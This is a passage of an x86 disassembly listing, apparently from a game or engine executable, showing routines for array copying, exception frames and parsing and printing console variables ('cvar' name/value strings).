mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402176 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AABB: ; CODE XREF: sub_40A9F0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40AB19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402176 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E6F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40A9F0+D8j test edi, edi jbe short loc_40AB53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020AE mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E6F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A9F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABC0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ABC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABE0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40AC12 push edi mov edi, [esp+10h+arg_8] loc_40ABF6: ; CODE XREF: sub_40ABE0+27j push esi push edi mov ecx, ebx call sub_402121 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ABF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AC12: ; CODE XREF: sub_40ABE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ABE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC30 proc near ; CODE XREF: sub_402176j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AC57 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AC46: ; CODE XREF: sub_40AC30+23j push ebx push esi mov ecx, ebp call sub_402121 add esi, 4 dec edi jnz short loc_40AC46 pop esi pop ebx loc_40AC57: ; CODE XREF: sub_40AC30+Aj pop edi pop ebp retn 0Ch sub_40AC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AC70 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014CE sub_40AC70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_402121j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401DE8 add esp, 8 retn 8 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ACED mov edx, [esp+arg_8] push esi loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ACE1 pop esi locret_40ACED: ; CODE XREF: sub_40ACD0+Aj retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_4020AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AD22 mov eax, [esp+arg_8] push esi loc_40AD11: ; CODE XREF: sub_40AD00+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40AD11 pop esi retn ; --------------------------------------------------------------------------- loc_40AD22: ; CODE XREF: sub_40AD00+Aj mov eax, [esp+arg_8] retn sub_40AD00 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD60 proc near ; CODE XREF: sub_4014CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AD6A xor eax, eax loc_40AD6A: ; CODE XREF: sub_40AD60+6j shl eax, 2 push eax call sub_4367FA sub_40AD60 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD90 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40ADAB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40ADAB: ; CODE XREF: sub_40AD90+11j retn sub_40AD90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj mov eax, ecx mov dword ptr [eax], offset off_43E014 retn sub_40ADC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: ___:00401717j ; ___:loc_402027j push esi mov esi, ecx call sub_402031 test byte ptr [esp+8], 1 jz short loc_40ADF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40ADF8: ; CODE XREF: ___:0040ADEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AE10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_401744 loc_40AE41: ; DATA XREF: sub_40AE52o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; =============== S U B R O U T I N E ======================================= sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo mov eax, offset loc_40AE41 retn sub_40AE52 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE80 proc near ; CODE XREF: sub_4014BAj call sub_401708 jmp sub_4017B2 sub_40AE80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401B18j call sub_40161D jmp sub_4017C1 sub_40AEA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEC0 proc near ; CODE XREF: sub_4013D4j push esi mov esi, ecx push esi push offset sub_40141F lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AEE2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_40AEC0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AEC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF00: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF27 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_40175D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AF27: ; CODE XREF: ___:0040AF09j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF40 proc near ; CODE XREF: sub_401744j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF5C mov eax, [esi+0Ch] push 0Fh push eax call sub_401758 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AF5C: ; CODE XREF: sub_40AF40+8j pop esi retn sub_40AF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF70: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF90 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AF90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40AFBE: ; DATA XREF: sub_40AFD1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co mov eax, offset loc_40AFBE retn sub_40AFD1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B000 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B042 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_40218F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B042: ; CODE XREF: sub_40B000+Bj pop esi add esp, 8 retn sub_40B000 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_401DCAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B092 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B092: ; CODE XREF: sub_40B070+6j pop ecx retn sub_40B070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B0B0 proc near ; CODE XREF: sub_4019F1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B0B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401749 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401BF4 sub_40B0B0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43E020 call sub_401BEF mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B170 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401BEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_401555 sub_40B170 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B210 proc near ; CODE XREF: sub_4017EEj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401BEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40B210 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B390 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FBE mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FBE mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F32 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FBE lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401906 sub_40B390 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B430 proc near ; CODE XREF: sub_401B5Ej var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401861 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401861 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401861 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40180C sub_40B430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B520 proc near ; CODE XREF: sub_4019CEj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_40153C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401451 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B5A1 mov edi, [esp+10h+arg_0] loc_40B566: ; CODE XREF: sub_40B520+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4021AD test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B5AB call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B566 loc_40B5A1: ; CODE XREF: sub_40B520+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: sub_40B520+60j call sub_401F5A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B520 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: ___:00401456j push 0FFFFFFFFh push offset loc_438BF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401861 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019CE lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B680 proc near ; CODE XREF: sub_401596j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015D7 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B6D1 mov byte ptr [esi+19h], 1 loc_40B6D1: ; CODE XREF: sub_40B680+4Bj pop esi retn 8 sub_40B680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B700 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B755 mov byte ptr [esi+19h], 1 loc_40B755: ; CODE XREF: sub_40B700+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B790: ; CODE XREF: ___:00401D43j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017E4 push eax call near ptr 77C1BF18h nop fld dword ptr [esp+10h] fcomp flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B7E1 mov byte ptr [esi+19h], 1 loc_40B7E1: ; CODE XREF: ___:0040B7DBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: ___:00401C94j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B840 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B840: ; CODE XREF: ___:0040B818j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: ___:00401D6Bj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4437F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B8B0 mov byte ptr [esi+19h], 1 loc_40B8B0: ; CODE XREF: ___:0040B8AAj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: ___:loc_401ACDj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_438C30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BA12 lea ebx, [esi+69h] mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+6Ch] call sub_40153C add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_401451 mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BA0B loc_40B976: ; CODE XREF: ___:0040BA05j lea ecx, [esp+6Ch] inc edi call sub_401F5A mov ecx, [eax] add ecx, 33h call sub_4017E4 push eax lea ecx, [esp+70h] call sub_401F5A mov ecx, [eax] call sub_4017E4 push eax lea ecx, [esp+74h] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4017E4 push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 5DCh nop call near ptr 28302E5h lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40B976 loc_40BA0B: ; CODE XREF: ___:0040B970j mov al, 1 jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: ___:0040B907j lea ecx, [ebp+32h] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BAA5 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: ___:0040BA24j lea ecx, [ebp+60h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BB98 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 push edi lea ecx, [esp+18h] call sub_4014C9 mov ebx, 2 push 1 push offset asc_443600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F32 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: ___:0040BA60j ; ___:0040BAB7j ... xor al, al loc_40BB9A: ; CODE XREF: ___:0040BA0Dj ; ___:0040BAA0j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, 